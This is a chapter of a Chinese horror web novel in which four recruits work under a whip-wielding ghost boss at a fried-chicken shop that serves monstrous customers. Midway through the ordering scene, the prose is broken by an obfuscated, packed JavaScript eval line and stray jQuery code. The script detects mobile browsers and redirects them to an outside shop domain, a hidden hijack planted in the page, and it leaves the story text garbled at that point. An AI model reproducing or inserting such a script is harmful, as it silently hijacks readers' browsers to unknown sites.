“刘莹,鸡数120分。嗯……你,去柜台收银。”
老板翻着简历,手指在几人的成绩单上摩挲。
他又翻了一页。
“陈宇帆,鸡啼125分。”他看向陈宇帆,眼神中带着赞许,“不错嘛,你去前台点单吧。”
“叶晓,鸡力150分?!”老板抬起了贪婪的眼神,小声嘟囔:这种鸡源怎么会被分给我们的……难道那些诡搞错了?哈哈哈,走了狗屎运了。
“你去搬货运货!”
老板将简历翻到了最后一页,端详了一会儿。
他抬起头看向余谨,当看到他缠着绷带下凹凸不平的胳膊皮肉时,不满地皱了皱眉头,目光移动到他的胸肌上时,眉头松了开来。
他又检查般仔细凝视了余谨的大腿和小腿,最后满意地点了点头。
“鸡肌145,是个好苗子。”他看向余谨,舔了一下嘴唇。“你去炸鸡排。”
不知道为什么,她们四个被安排的都是听起来像平常炸鸡店会有的事情。但是老板说到“炸鸡排”三个字时,眼神旖旎,语气缠绵。总感觉不是什么好事情。
“好了!”老板啪一声将简历本合了起来。
“快去工作!各自做自己的事情!还有5分钟开店,诡顾客已经在外面排了一大长串队了。”老板在她们四个人身边走过去,又走回来,四处打量。
“别想偷懒。我会一直看着你们。一周后评本店最佳员工,会有丰厚惊喜奖励哦。”
老板眼中寒光一闪,拿出一根鞭子,哗啦一下打到了门框上。
“还不行动?”
刘莹赶紧走进了收银台,收银台上有一个扫描器,还有一个收银的机器。她摁了一下,收银机的抽屉弹开,里面是她从未见过的币种,每张都颜色相近,上面没有写数字,看起来一模一样。
陈宇帆站在了前台的桌子后面,眼前是一张巨大的菜单,中鸡排、大鸡排、特大鸡排、特特大鸡排……写了一长串。口味又分为:微微微微辣、微微微辣、微微辣、微辣、辣、中辣……
陈宇帆看了一会儿,已经不认识“特”和“微”这两个字了。
叶晓向后院走去,那里停了一辆皮卡,后备箱大开。密密麻麻装满了方箱子。叶晓低下身去抬起一箱,比想象中的轻很多。叶晓不一会儿就搬进库房了很多,皮卡大概空出了中间四排纸箱的空间。
再往里,叶晓就够不到了。于是她爬了上去,往里走了几步。纸箱、纸箱、还是纸箱。从外面看上去,这辆皮卡就是正常大小。此刻叶晓站在皮卡里,却觉得纸箱无限往里延伸,仿佛没有尽头。
叶晓立即转身,走了出去。正当她准备从皮卡里下去的时候,老板不知道什么时候飘到了车后门外,阴恻恻地看着她。
“你难道想要偷懒吗?”
老板直勾勾地望着她,眼神逼人。
叶晓说:“我出来透口气。”
她转身又走进了暗无天日的车箱里,将三箱货品垒到一起,抱起放到车门外的地上,又走进去,垒起三箱货品,把它们放到之前三箱货品上面,然后跳下车,抱起这六箱货,轻轻松松地走进了库房里。
老板满意地点点头,飘走了。
余谨正在后厨,他的任务是炸鸡排。
冰箱里冻了很多鸡肉,他只需要把它们拿出来,放到水盆里解冻,然后裹上面包糠,丢进油锅里炸就行。
这工作对他来说十分轻松,他很快就炸出许多。还顾得上从后门观察在院子里搬货的叶晓。
油锅的热气蒸得他胳膊上的伤口痒痒的,他腾出一只手,挠了一挠。
炸了许多鸡排之后,老板过来视察了。
老板目光盯着他,看他从把鸡肉拿出冰箱解冻开来的每一个动作。
盯了一会儿,老板将那盆炸好的鸡排端走了,只留下一句话:
“再炸一百个。”
余谨机械性地重复着手上的动作,胳膊上的伤口越来越痒。直到最后,他伸手向冰箱上拿去,却发现,冰箱里的鸡肉已经空了。
可是他还没有炸到一百个。
“继续炸!”
老板飘了过来,命令道。
“冰箱里没有肉了。”余谨说道。
“继续炸!”
老板重复道。
他的目光看向余谨的胳膊,又从胳膊移到大腿、小腿。他摔了摔手上的鞭子。
“继续炸。”
在老板压迫性的目光下,余谨硬着头皮,在冰箱里四处搜寻,在最上层的角落里发现一块被遗忘的冻肉。
他松了一口气,将这块肉解冻、裹面包糠、放进了油锅里。
滋啦啦。
老板有些遗憾,又无可奈何地离开了。
“叮咚——”
店门口的门铃响了。店里开始进顾客了。
一个只有骨头没有皮肤的男人走了进来,他脸上的骨头上打满了钉子。
“欢迎!……光临……”
陈宇帆给第一个顾客预备的灿烂笑容和热情迎接卡在了脸上。
这是个什么东西……?
陈宇帆腿肚子打着颤,牙齿咯咯作响。他强撑着堆起脸上的笑,问道:“这位客人您好,您……您要吃点什么?”
骨钉诡直勾勾地看着他,问道:“我的鼻钉好看吗?”
这很难评,因为在他满脸的钉子里,很难分辨出哪一根是鼻子上打的钉子。
陈宇帆沉默了许久。他鼓起勇气认真地靠近骨钉诡,在他的脸上努力辨认出应该是鼻骨的东西,然后说道:“好看,很闪。”
骨钉诡满意地点点头,说:“小伙子挺有品味。我要一份鸡排。”
陈宇帆控制着自己不要颤抖,将巨大的菜单抬了起来,摆在骨钉诡面前,介绍道:
“我们店有中鸡排、大鸡排、特大鸡排、特特大鸡排……请问您要多大的呢?”
骨钉诡:“我要一份鸡排。”
“呃……那,我们店有微微微微辣、微微微辣、微微辣、微辣、辣、中辣……请问您要什么口味呢?”
骨钉诡:“我要一份鸡排。”
陈宇帆的额头开始冒汗。
他柜台下的点单机器上,能点击的选项是非常精确且有条件的:微微辣的中鸡排、中辣的大鸡排、微微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745191|209261||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
微辣的特大鸡排……等等。如果骨钉诡不说出具体的分量和口味,他没有办法下单。
他擦了一把汗,听到排在后面的诡喊道:
“快了没有?”
“怎么那么慢啊?今天点单的是个新手?”
陈宇帆的汗越流越多了。他顾不上擦,指着菜单上画的鸡排,换了一种问法问道:“您看,我们有像这个这么大的鸡排,还有像那个这么大的……请问您要吃哪个呢?”
骨钉诡认认真真一个一个端详了他手中指的图画,最后看向陈宇帆的手臂,说道:“我想要像你的鸡翅那么大的。”
陈宇帆:?!!
他惊恐地看了一眼他的胳膊。什么叫他的鸡翅?!
陈宇帆迅速将为了给骨钉诡介绍而伸出去的胳膊收了回来,往柜台后退了几步。
他急中生智,用手臂和菜单上的鸡排比了一下,找到了一个大小差不多的。
他问道:“您是要这个特特特特特特大的鸡排对吧?”
骨钉诡看了一下那张图,又看了一下陈宇帆的胳膊,说道:“也行吧。”
好的,离成功点第一个单已经成功了一半了。
陈宇帆又拿出辣度图,问道:“那请问您要这图上几根辣椒的辣度呢?”
骨钉诡认真端详,他探出那颗钉满钉子的脑袋,凑近陈宇帆,刚才被陈宇帆夸过的鼻钉上下翕动了几下,像是在嗅闻陈宇帆的味道。
陈宇帆感到十分不适,尽可能地向柜台后退去。
骨钉诡:“我要和你的鸡翅一个味道的。”
你就是想我的胳膊吧?!陈宇帆最后的心底防线彻底被击溃了,他将菜单一扔,就转身想从柜台出去。
老板不知何时飘了过来。
“你竟敢怠慢顾客?!没看到后面还排了那么长的队吗?!”
老板手中的鞭子呼啸而来,“呼啦”一声抽到了陈宇帆的胳膊上。
他绑着绷带的胳膊立即血流如注,将白色的绷带染出一道血红。
陈宇帆抱着胳膊疼得直跳,血不断流出来,老板的瞳孔渐渐扩大了,他胸口的那个洞仿佛在伸缩着。
他盯着陈宇帆流血的胳膊,吞了口口水。
骨钉诡激动地指着陈宇帆的胳膊:“对!我就要这个!”
他后面的顾客骚动起来,吵到:“我们还有没有?我们也要这个!还没到我们吗?”
老板的声音冷不丁响在耳侧,“听到了吗?还不快点儿给顾客点单?”陈宇帆低头一看,他面前的点单器上,突然跳出了一个新的选项。
叫做“特特特大份中辣的陈宇帆的鸡翅”。
刘莹正在里面一间房里,看着收银机里相似度极高的纸币,一头雾水。
“叮”一声,从窗口递进来一张纸币,看来陈宇帆开张了,给第一个客人点了单。
刘莹接过那张纸币,它和收银机里其他的纸币没有什么区别。
刘莹仔细观察了一遍它的正面,没看出什么端倪,于是把它翻了过来。
反面依旧没有数字。
只有被写上去的三个红色的字母:
“SOS”